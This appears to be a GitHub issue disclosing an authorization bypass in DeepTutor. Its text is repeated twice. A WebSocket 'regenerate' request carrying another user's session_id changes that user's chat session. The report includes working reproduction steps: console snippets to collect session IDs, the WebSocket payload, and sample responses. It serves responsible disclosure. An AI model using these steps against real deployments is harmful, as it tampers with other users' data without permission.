Do you need to file an issue?
Describe the bug
DeepTutor contains a cross-session authorization bypass vulnerability in the turn regeneration flow. An unauthorized caller can reuse another user's session_id in a WebSocket regenerate request to trigger unauthorized turn regeneration and state mutation on the victim's session.
The vulnerability exists in deeptutor/services/session/turn_runtime.py:TurnRuntimeManager.regenerate_last_turn where the WebSocket endpoint does not validate that the caller has ownership or authorization to regenerate turns for the session identified by the user-controlled session_id parameter.
Steps to reproduce
-
Install and start DeepTutor:
- Clone the repository and install dependencies
- Start the service according to upstream documentation
- Open the web application in a browser
-
Create a victim session (Browser 1 - Victim Context):
- Create a normal chat session through the product UI
- Send a harmless message and wait for the turn to complete
- Open Developer Tools → Network tab
- Inspect WebSocket frames or session API responses
-
Capture the victim session_id:
- Record the
session_id from Network tab WebSocket frames
- Alternative: Run in Console:
fetch('/api/v1/sessions').then(r => r.json()).then(console.log)
- Copy an existing completed
session_id (e.g., "abc123-victim-session")
-
Open a second browser context (Browser 2 - Attacker Context):
- Use a different browser profile or incognito/private window
- Do NOT reuse the victim's session cookies or authentication
- Open the service URL and Developer Tools → Console
-
Establish WebSocket connection from attacker context:
// In Browser 2 Console
const ws = new WebSocket('ws://localhost:PORT/api/v1/ws'); // Adjust protocol and port
ws.onmessage = e => console.log('Received:', e.data);
ws.onopen = () => console.log('WebSocket connected');
-
Send unauthorized regenerate request:
// After WebSocket opens, send regenerate command with victim's session_id
ws.send(JSON.stringify({
type: "regenerate",
session_id: "abc123-victim-session" // Victim's session_id from step 3
}));
-
Observe the response:
- Keep Console open and watch WebSocket messages
- A secure implementation should reject the request with 401/403
- Vulnerable implementation will accept and process the regenerate request
-
Verify unauthorized session mutation (Browser 1 - Victim Context):
- Return to the victim browser and refresh the session page
- Or run in Console:
fetch('/api/v1/sessions/abc123-victim-session').then(r => r.json()).then(console.log)
- Confirm that a new regenerate turn or metadata was created on the victim session
- Verify the session state changed due to the attacker's WebSocket message
-
Confirm no authorization check:
- Verify the server did not reject the request based on session ownership
- Review
deeptutor/services/session/turn_runtime.py to confirm missing authorization
Expected Behavior
The WebSocket regenerate endpoint should:
- Validate that the caller has ownership or authorization to regenerate turns for the specified
session_id
- Return an error response (e.g.,
{"error": "Unauthorized", "code": 403}) when an unauthorized caller attempts to regenerate another user's session
- Implement proper session-level authorization checks before mutating session state
- Bind sessions to their creator/owner and enforce this binding on all session operations
- Reject cross-session requests before any state mutation occurs
Related Module
API/Backend
Configuration Used
Default DeepTutor configuration
No special configuration required to reproduce
Vulnerability exists in default WebSocket implementation
Logs and screenshots
Console - Victim session_id captured:
{
"session_id": "abc123-victim-session",
"user_id": "victim_user",
"turns": [
{"role": "user", "content": "Original message"},
{"role": "assistant", "content": "Original response"}
]
}
WebSocket - Unauthorized regenerate request from attacker:
// Browser 2 Console
ws.send(JSON.stringify({
type: "regenerate",
session_id: "abc123-victim-session" // Victim's session
}));
// WebSocket response (vulnerable):
// {"status": "success", "message": "Regenerating turn..."}
// Should have been: {"error": "Unauthorized", "code": 403}
Verification - Victim session mutated:
{
"session_id": "abc123-victim-session",
"user_id": "victim_user",
"turns": [
{"role": "user", "content": "Original message"},
{"role": "assistant", "content": "Original response"},
{"role": "assistant", "content": "Regenerated response", "regenerated": true} // Added by attacker!
],
"last_regenerated_at": "2026-04-24T10:30:00Z" // Timestamp changed!
}
Additional Information
- DeepTutor Version:v1.4.0
- Operating System: Windows 11, macOS 14.0, Ubuntu 22.04 (all affected)
- Python Version: 3.10+
- Node.js Version: 18.17.0+
- Browser (if applicable): Chrome 120+, Firefox 121+ (any modern browser with WebSocket support)
- Related Issues: None
Do you need to file an issue?
Describe the bug
DeepTutor contains a cross-session authorization bypass vulnerability in the turn regeneration flow. An unauthorized caller can reuse another user's
session_idin a WebSocket regenerate request to trigger unauthorized turn regeneration and state mutation on the victim's session.The vulnerability exists in
deeptutor/services/session/turn_runtime.py:TurnRuntimeManager.regenerate_last_turnwhere the WebSocket endpoint does not validate that the caller has ownership or authorization to regenerate turns for the session identified by the user-controlledsession_idparameter.Steps to reproduce
Install and start DeepTutor:
Create a victim session (Browser 1 - Victim Context):
Capture the victim session_id:
session_idfrom Network tab WebSocket framesfetch('/api/v1/sessions').then(r => r.json()).then(console.log)session_id(e.g.,"abc123-victim-session")Open a second browser context (Browser 2 - Attacker Context):
Establish WebSocket connection from attacker context:
Send unauthorized regenerate request:
Observe the response:
Verify unauthorized session mutation (Browser 1 - Victim Context):
fetch('/api/v1/sessions/abc123-victim-session').then(r => r.json()).then(console.log)Confirm no authorization check:
deeptutor/services/session/turn_runtime.pyto confirm missing authorizationExpected Behavior
The WebSocket regenerate endpoint should:
session_id{"error": "Unauthorized", "code": 403}) when an unauthorized caller attempts to regenerate another user's sessionRelated Module
API/Backend
Configuration Used
Default DeepTutor configuration
No special configuration required to reproduce
Vulnerability exists in default WebSocket implementation
Logs and screenshots
Console - Victim session_id captured:
{ "session_id": "abc123-victim-session", "user_id": "victim_user", "turns": [ {"role": "user", "content": "Original message"}, {"role": "assistant", "content": "Original response"} ] }WebSocket - Unauthorized regenerate request from attacker:
Verification - Victim session mutated:
{ "session_id": "abc123-victim-session", "user_id": "victim_user", "turns": [ {"role": "user", "content": "Original message"}, {"role": "assistant", "content": "Original response"}, {"role": "assistant", "content": "Regenerated response", "regenerated": true} // Added by attacker! ], "last_regenerated_at": "2026-04-24T10:30:00Z" // Timestamp changed! }Additional Information